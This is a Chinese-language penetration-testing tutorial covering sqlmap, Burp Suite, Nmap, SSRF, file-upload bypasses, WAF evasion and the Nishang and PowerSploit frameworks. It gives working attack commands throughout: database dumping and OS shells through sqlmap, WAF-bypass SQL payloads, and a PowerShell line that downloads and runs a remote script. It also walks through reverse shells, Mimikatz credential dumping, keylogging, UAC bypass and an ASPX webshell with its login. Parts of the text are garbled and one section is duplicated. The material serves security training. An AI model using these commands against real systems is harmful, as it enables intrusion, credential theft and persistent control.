网络安全渗透

Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQLOracle, PostgreSQL, SQL Server,  Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap安装

1)安装sqlmap前,需要先安装 Python3.X

下载地址:https://www.python.org/downloads/windows/

2)在环境变量path中,增加python3.x安装路径

(3)下载sqlmap并解压缩:在环境变量path中,增加python3.x安装路径

     地址:sqlmap: automatic SQL injection and database takeover tool

  •   Python sqlmap.py –u http://xxx.xxx.xxx/

 Python sqlmap.py  --help 查看帮助

 sqlmap支持五种不同的注入模式:

Ø UNION query SQL injection (可联合查询注入)
Ø uError -based SQL injection (报错型注入)
Ø uBoolean -based blind SQL injection (布尔型注入)
Ø uTime -based blind SQL injection (基于时间延迟注入)
Ø uStacked queries SQL injection (可多语句查询注入)

2.sqlmap 常用命令参数

-u  /--url  最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

设置回显等级

参数: -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload(级别越高显示信息越多)

--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie (用于区分用户)

可能会有漏洞,当web登录时,抓取数据包。

设定探测等级

--level

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中,目前连接的用户

--is-dba 判断当前是否为管理,是的话返回true

--proxy 指定一个代理服务器  eg: -proxy http://xxxxxx.8080

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限

Sqlmap“六步”

第一步:判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)

检测该网站是否存在漏洞   白色加粗字体为注入点 也就是攻击对象

网络安全渗透_第1张图片

 第二步:获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

网络安全渗透_第2张图片

第三步:查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”  --current-db

网络安全渗透_第3张图片

 四:列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

五:读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

网络安全渗透_第4张图片

 六:读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)

网络安全渗透_第5张图片

 --level 探测等级

一共有5个等级,默认是1。

sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。

http cookie在2级时可以检测

HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限:

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

网络安全渗透_第6张图片

如果是TRUE  ,那么权限该用户很大。

roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

网络安全渗透_第7张图片

-referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

--sql-shell 运行自定义的sql语句

--sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令:

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

–file-read 从数据库服务器中读取文件

 该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

网络安全渗透_第8张图片

 –file-write –file-dest 上传文件到数据库服务器中

  该命令用于写入本地文件到服务器中

Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1   --file-write  ‘c:\user\cisp-pte\desktop\xie1.php’  --file-dest ‘c:\phpstudy\www\wwwroot\xie.php

网络安全渗透_第9张图片

--os-cmd=whoami

--os-shell

(以你的电脑为跳板,对局域网进行渗透,或留后门)

--file-read 从数据库服务器中读取文件  :--sql-shell 运行自定义的sql语句当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

上传文件到数据库服务器中:

--file-write

--file-dest

读取指定数据库用户的密码  --passwords -U root

SQLMAP进阶 常用tamper脚本

 apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)

 multiplespaces.py  围绕sql关键字添加多个空格 去绕过

Burpsuite

Burp 一、Burpsuite配置及代理设置SuiteBurp Suite

1. Burpsuite使用前配置

网络安全渗透_第10张图片网络安全渗透_第11张图片

网络安全渗透_第12张图片

二、Burpsuit功能模块讲解

1. Send to spider 发送给 爬虫 模块
2. DO a active scan 进行一次 主动扫描                        

3.Send to intruder 发送给爆破模块

4.Send to repearter 发送给重放模块

5. Send to comparer 发送给 比对 模块
6. Send to decoder 发送给 解码 模块
7. Request in browser 将请求在 浏览器重放

 1.2 Proxy模块àOPTION选项卡

网络安全渗透_第13张图片

 1.2.1 Proxy模块à导入证书代理HTTPS流量

网络安全渗透_第14张图片

 1.2 User option模块 解决HTTP返回信息中的乱码问题

网络安全渗透_第15张图片

 1.3 Scaner模块

网络安全渗透_第16张图片

 1.4 Intruder模块  爆破模式选择

1. Sniper              单变量爆破
2. Battering ram 发送给 重放 模块
3. Pitch fork        多变量同时爆破(无循环)

 //即多个字典同时滚动

4.Cluster bomb  多变量循环爆破(有循环) 

//即基于多个字典循环遍历

信息收集

主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。

Namp

  • 端口扫描:Nmap

网络安全渗透_第17张图片

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现

-v 显示信息的级别,-vv显示更详细的信息

192.168.1.1/24 扫描C段   192.168.11 -254 =上

       nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)

       --------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)

       --------------- -----------------excludefile  ~/targets.txt

       nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站

       nmap –traceroute 192.168.1.1   探测路由

       nmap -O 192.168.1.1                 对目标进行指纹识别

       nmap -sV    ----------         对版本进行探测

       nmap -sF -T4 192.168.1.1         利用fin包对端口进行扫描,识别是否被关闭,收到RST包, 被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现

-v 显示信息的级别,-vv显示更详细的信息

192.168.1.1/24 扫描C段   192.168.11 -254 =上

       nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)

       --------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)

       --------------- -----------------excludefile  ~/targets.txt

       nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站

       nmap –traceroute 192.168.1.1   探测路由

       nmap -O 192.168.1.1                 对目标进行指纹识别

       nmap -sV    ----------         对版本进行探测

       nmap -sF -T4 192.168.1.1         利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)

状态

说明

open

应用程序在该端口接收 TCP 连接或者 UDP 报文

closed

关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听

filtered

由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙

unfiltered

未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态

open | filtered

无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDPIP协议, FIN, Null 等扫描会引起。

      

扫描脚本介绍:

位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts

脚本类型:

网络安全渗透_第18张图片

 

       nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令

       -----------=brute+ip 暴力破解

nmap --script=auth 192.168.137.*

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

提供暴力破解的方式  可对数据库,smbsnmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

在局域网内探查更多服务开启状况

更多:

https://nmap.org/nsedoc/categories/

https://blog.csdn.net/whatday/article/details/73823959

默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

nmap --script=vuln 192.168.137.* 

检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4

ssrf漏洞介绍ssrf洞介绍

SSRF (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。

ssrf漏洞原理

SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。

要攻击方式如下所示。

外网、服务器所在内网、本地进行端口扫描,获取一些服务的 panner 信息。
击运行在内网或本地的应用程 序。
内网 Wb 应用进行指纹识别,识别企业内部的资产信息。
击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2 SQli 等)。

file 协议读取本地文件等。

漏洞利用 ssrf

   SSRF 漏洞利用的测试地址http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php

页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上

      果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容,如图所示。

网络安全渗透_第19张图片

洞利用 – ssrf

但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务,如图 4-103 所示

  洞利用 – ssrf

访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件,如图所

网络安全渗透_第20张图片

 漏洞代码分析

在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务,代码如下。

网络安全渗透_第21张图片

 修复建议

针对 SSRF 漏洞的修复,给出以下这几点建议。

l 制请求的端口只能为 Web 端口,只允许访问 HTTP HTTPS 的请求
l 制不能访问内网 IP ,以防止对内网进行攻击

蔽返回的详细信息

文件上传

1.文件上传漏洞的概述

2.上传漏洞的危害

3.文件上传漏洞的利用

4.文件上传漏洞的防御

文件上传漏洞的概述

现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。

什么是文件上传

上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。

  • 上传头像

 • 插入图片

上传附件

      网络安全渗透_第22张图片

 为什么会有文件上传

 在网站运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这个时候需要使用到网站的文件上传功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷

 危害

网站被控制

服务器沦陷

同服务器的其他网站沦陷

常见上传检测规则

服务端 MIME 类型检测 ( 检测 Content-Type 内容)

客户端 javascript 检测( 通常为检测文件拓展名)

服务端目录路径检测检测跟 path 参数相关的内容 )

服务端文件名拓展名检测检测跟文件 estension 相关的内容 )

服务器文件内容检测(检测内容是否合法或含有恶意代码

 服务端MIME检测网络安全渗透_第23张图片

 服务端文件名拓展检测

基于黑名单检测:

黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。

客户端检测

客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。

判断方式:

在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

服务端目录路径检测

服务端目录路径检测:

一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致

服务端文件名拓展检测-绕过办法

文件名大小写绕过(AsP, pHp等等)

黑白名单绕过(phpphp2php3php5phtmlaspaspxascxashxcerasajspjspx

特殊文件名绕过

修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后  windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。

0x00截断绕过

2.文件上传配合解析漏洞Getshell

IIS解析漏洞

目录解析  xx.asp/xx.txt(jpg)

网络安全渗透_第24张图片

 文件解析  xx.asp;.jpg

网络安全渗透_第25张图片

IIS6.0 (Win2003 SP2 + IIS6.0) [Success]
IIS7.0 (Win2008 R1 + IIS7.0) [Success]
IIS7.5 (Win2008 R2 + IIS7.5) [Success]

Apache解析漏洞

Apache/2.2.6

xxx.php.xxxxxx

网络安全渗透_第26张图片

 •WampServer2.0All Version (Apache 2.2.11) [Success]

WampServer2.1All Version (Apache 2.2.17) [Success]

Wamp5 All Version (Apache 2.2.6) [Success]

AppServ 2.4All Version (Apache 2.0.59) [Success]

AppServ 2.5All Version (Apache 2.2.8) [Success]

AppServ 2.6All Version (Apache 2.2.8) [Success

Nginx解析漏洞

测试版本 :0.7.63

xxx.jpg%00.php

xxx/1.jpg/1.php

网络安全渗透_第27张图片

测试版本 :0.7.63

文件类型错误 xxx/1.jpg/1.php

1:创建一张图片

2:用Uedit32打开嵌入代码.

 •Nginx 0.5.*  [Success]

Nginx 0.6.* [Success]

Nginx 0.7 <= 0.7.65 [Success]

Nginx 0.8 <= 0.8.37 [Success]

php-cgi 解析漏洞

Nginx 1.11.5 / php5.3.29

xxx.jpg/.php

网络安全渗透_第28张图片

WAF介绍

什么是WAF

WEB应用防火 (Web Application Firewall)

定义:通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

WAF的分类

硬件WAF

软件WAF

WAF

内置WAF

WAF指纹识别(常用)

网络安全渗透_第29张图片

                                                          网络安全渗透_第30张图片

               

 WAF指纹识别

网络安全渗透_第31张图片网络安全渗透_第32张图片

 WAF绕过方法

1. 小写混合

在规则匹配时只针对了特定大写或特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这样的情况),如下所示。

uNion sElEct 1,2,3,4,5

2.URL编码

少部分WAF 会对普通字符进URL 码,如下所示。union select 1,2,3,4,5 述命令将被编码为如下所示的命令。

%75%6E%69%6F%6E%20%73%65%6℃%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%35

有一种情况就URL 次编码,WAF 般只进行一次解码,而如果目Wb 统的代码中进行了额外URL 码,即可进行绕过

 union select 1,2,3,4,5

述命令将被编码为如下所示的命令。

%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535

3. 换关键字

WAF采用替换或者删除select/union这类敏感关键饲的时候,如果只匹配次则很容易进行绕过。

union select 1,2,3,4,5

述命令将转换为如下所示的命令。

unuionion selselectect 1,2,3,4,5

4. 使用注释

释在截SQL 句中用得比较多,在绕WAF 主要使用其替代空格(/*任意内容*),适用于检测过程中没有识别注释或替换掉了注释WAF

Union select 1,2,3,4,5上述命令将转换为如下所示的命令。               网络安全渗透_第33张图片

union/*2333*/select/*aaaa*/1,2,3,4,5

可以使用内联注释尝试绕WAF 检测

5. 参数请求拆分

对于多个参数拼接到同一条$QL 句中的情况,可以将注入语句分割插入。例如请URL GET 数为如下格式。

a= [input1] &b= [input2]

GET a b SQL 句中,SQL 句如下所示

and a= [input1] and b= [input2]

时就可以将注入语句进行拆分,如下所示

a=union/*&b=*/select 1,2,3,4

终将参a b 接,得到SQL 句如下所示

 and a=union /*and b=*/select 1,2,3,4

6.HTTP 数污

HTTP 数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参color=-red&color=-blue

在上述提到的中间线中,S 较容易利用,可以直接分割带逗号SQL 句。在其余的中间线中,如WF 检测了同参数名中的第一个或最后一个,并且中间件特性正好取WAF 反的参数,则可成功绕过。下面IS 例,一般SQL 入语句如下所示

Inject=union select 1,2,3,4

SQL 入语句转换为以下格式

Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

最终IIS读入的参数值将如下所示

Inject=union/*,*/select/*,*/1,2,3,4

7. 僻函

使用生僻函数替代常见的函数,例如在报错注入中使用oy9on()函数替换常用updatexml()函数,如下所示

SELECT polygon  ((select*from  (select*from  (select@@version) f) X));

8. 找网站源IP

对于具有WAF护的网站而言,只要找到网站IP址,然后通IP访问网

,就可以绕过WAF 检测

常见的寻找网IP方法有下面这几种

找网站的历史解析记录
个不同区 ping 站,查 lP 析的结果
网站的二级域名、 NS MX 录等对应 IP
阅网站邮件,查看邮件发送方 IP

9. 入参数cookies

某些程序员在代码中使用$REQUEST获取参数,而$REQUEST会依次从GET/POST/cookie中获取参数,如果WAF 检测了GET/POST 没有检cookie,可以入语句放入cookie中进行绕过。

Nishang简介

Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。

下载地址如下:

https://github.com/samratashok/nishang

下载完成后我们可以看到以下工具里面都包括一些什么功能目录

网络安全渗透_第34张图片网络安全渗透_第35张图片

NishangPowerShell 3.0以上环境中可正常使用,在win7PowerShell默认版本是2.0,不太支持,可以在win10中测试或者升级win7PowerShell 的版本。

使用方式和PowerSploit一样,可以搭建一个WEB服务器,把Nishang脚本放在WEB目录,然后远程去加载调用脚本

网络安全渗透_第36张图片

 https://www.jianshu.com/p/16cd4b25249c升级powershell3.0

IEX (New-Object Net.WebClient).DownloadString("http://192.168.206.144/Gather/Get-Information.ps1")

Get-Information

 为了方便我们直接把Nishang上传到本地服务器,本机加载。首先以管理员启动powershell

网络安全渗透_第37张图片

 导入框架,并查看有哪些模块,如下图

网络安全渗透_第38张图片

 powershell

Set-ExecutionPolicy remotesigned  #更改执行策略

Import-Module .\nishang.psm1
Get-Command -Module nishang   #查看Nishang有哪些模块

Nishang模块攻击实战

开始部分模块的功能进行讲解:

1.Check-VM

它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

网络安全渗透_第39张图片

2. Invoke-CredentialsPhish

这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程

Invoke-CredentialsPhish

网络安全渗透_第40张图片

网络安全渗透_第41张图片

3. Get-PassHashes

Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msfpowerdump,但做出了修改,使得我们不再需要System权限就可以dump

4. Invoke-Mimikatz

需要管理员权限,抓取密码

网络安全渗透_第42张图片

5. Show-TargetScreen

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

Victim(win7)Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse

Attacker(kali)netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat

网络安全渗透_第43张图片

6. Get-PassHints

获取用户的密码提示信息,需要有Administrator权限来读取sam hive

有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

 PowerShell交互式Shell

Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell

一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcpPowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍:

-IPAddress 选择-Reverse选项时是需要连接到的IP地址

-Port 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。

-Reverse [<SwitchParameter>] 反向连接

-Bind [<SwitchParameter>] 正向连接

使用实例:

1.正向连接

第一步:在目标机运行脚本,监听端口88

 第二步:使用nc连接到目标机端口88

网络安全渗透_第44张图片

2. 反向连接

第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)

 第二步:在目标机上运行脚本来反弹shell

 第三步:观察攻击机,可以发现成功反弹shell

网络安全渗透_第45张图片

二、基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。

使用实例:

1.正向连接

第一步:在目标机运行脚本,监听端口66

 第二步:使用nc连接到目标机端口66

网络安全渗透_第46张图片

2. 反向连接

第一步:使用nc监听本地端口66

第二步:在目标机上运行脚本来反弹shell

 第三步:观察攻击机,可以发现成功反弹shell

网络安全渗透_第47张图片

三、基于HTTPHTTPS协议的PowerShell交互式Shell

Invoke-PoshRatHttp and Invoke-PoshRatHttpsPowershell交互式反向连接shell,基于HTTP协议和HTTPS协议。

这里需要说明以下,需要攻击者以管理员身份运行

第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。

第二步:在目标机上运行下列命令,反弹Shell

 第三步:观察攻击机,可以发现成功反弹shell

 权限提升

需要UAC的授权才能进行的操作列表如下:

配置Windows Update

增加、删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装、卸载程序

安装设备驱动程序

将文件移动/复制到Program FilesWindows目录下

查看其它用户的文件夹

UAC有如下四种设置要求:  

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户

仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度

从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC

我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLLBypass UAC。方法对照表如下

网络安全渗透_第48张图片

使用Nishang中的Invoke-PsUACme.ps1我们来尝试提权

Admin用户,在没有使用以管理员身份运行时

网络安全渗透_第49张图片

 我们直接运行Invoke-PsUACme来绕过UAC后网络安全渗透_第50张图片

 WebShell后门

存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。

Nishangantak.aspx文件,放在IIS网站中

然后访问网站中的antak.aspx文件(出现登陆页面)

Nishangantak用户名:Disclaimer

Nishangantak密码:ForLegitUseOnly

网络安全渗透_第51张图片

登陆成功,进入欢迎页面

输入help,可以得到帮助信息

输入ls,可以查看网站的目录结构

点击download,可以下载网站的重要文件

点击upload the file,可以上传木马文件

网络安全渗透_第52张图片

PowerSploit简介

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

网络安全渗透_第53张图片

•ActivirusBypass:绕过杀毒软件查杀

•CodeExecution:在目标主机上执行代码

•Exfiltration:目标主机上的信息搜集工具

•Mayhem:蓝屏等破坏性的脚本

•Persistence:权限维持

•Privsec:提权等脚本

•Recon:以目标主机为跳板进行内网信息侦查

•ScriptModification:在目标主机上创建或修改脚本

PowerSploit安装

下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。

这里以kali服务器为例,介绍两种方式

第一种方式:

开启apache服务:service apache2 start

将powersploit目录放到/var/www/html/中

第二种方式:

切换到powersploit目录,然后执行如下命令开启WEB服务器

python3 -m http.server 8080

Git clone https://github.com/PowerShellMafia/PowerSploit

在浏览器中打开WEB服务器地址,如下图所示 

网络安全渗透_第54张图片

 PowerSploit脚本攻击实战

PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。

利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。

为方便,这里我们直接在目标服务器做这些操作

Invoke-Shellcode脚本

CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。

直接执行ShellCode反弹Meterpreter Shell

首先在MSF里使用reverse_https模块进行监听

网络安全渗透_第55张图片

  使用msfvenom命令生成一个PowerShell脚本木马

 接着在目标机Powershell下输入以下命令下载该脚本

 

 接着输入以下命令下载木马

 接着在PowerShell下运行该命令

Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。 

网络安全渗透_第56张图片

Invoke-Portscan扫描端口

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。

首先下载脚本

然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可

以看到,扫描出该IP机器开放了80,22,4444端口

网络安全渗透_第57张图片

Invoke-Mimikatz 信息收集

Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。

网络安全渗透_第58张图片

然后载入脚本

Invoke-Mimikatz 信息收集

 载入脚本

 然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321

 网络安全渗透_第59张图片

Get-Keystrokes 键盘记录器

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间

首先下载脚本

 然后执行以下命令开启键盘记录

使用键盘输入一些内容

查看c:\windows\temp\key.txt中记录的内容

网络安全渗透_第60张图片

Get-TimedScreenshot  屏幕记录

Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本

首先下载脚本

 运行脚本

 注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹 下

网络安全渗透_第61张图片

PowerUP攻击模块

​ Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。

通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载

 在源码中搜索function,看PowerUP有哪些模块 

网络安全渗透_第62张图片

如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如

Get-Help Invoke-AllChecks -full

网络安全渗透_第63张图片

下面开始对模块介绍:

1.Invoke-AllChecks

执行所有的脚本来检查。

执行方式:

PS C:> Invoke-AllChecks

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:

PS C:>Find-Pathdllhijack

3. Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式:

PS C:>get-ApplicationHost

PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

4. Get-RegistryAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。

执行方式:

PS C:>Get-RegistryAlwaysInstallElevated

5. Get-RegistryAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。

执行方式:

PS C:> Get-RegistryAutoLogon

6. Get-ServiceDetail

返回某服务的信息。

执行方式:

PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

7. Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

执行方式:

C:> Get-ServiceFilePermission

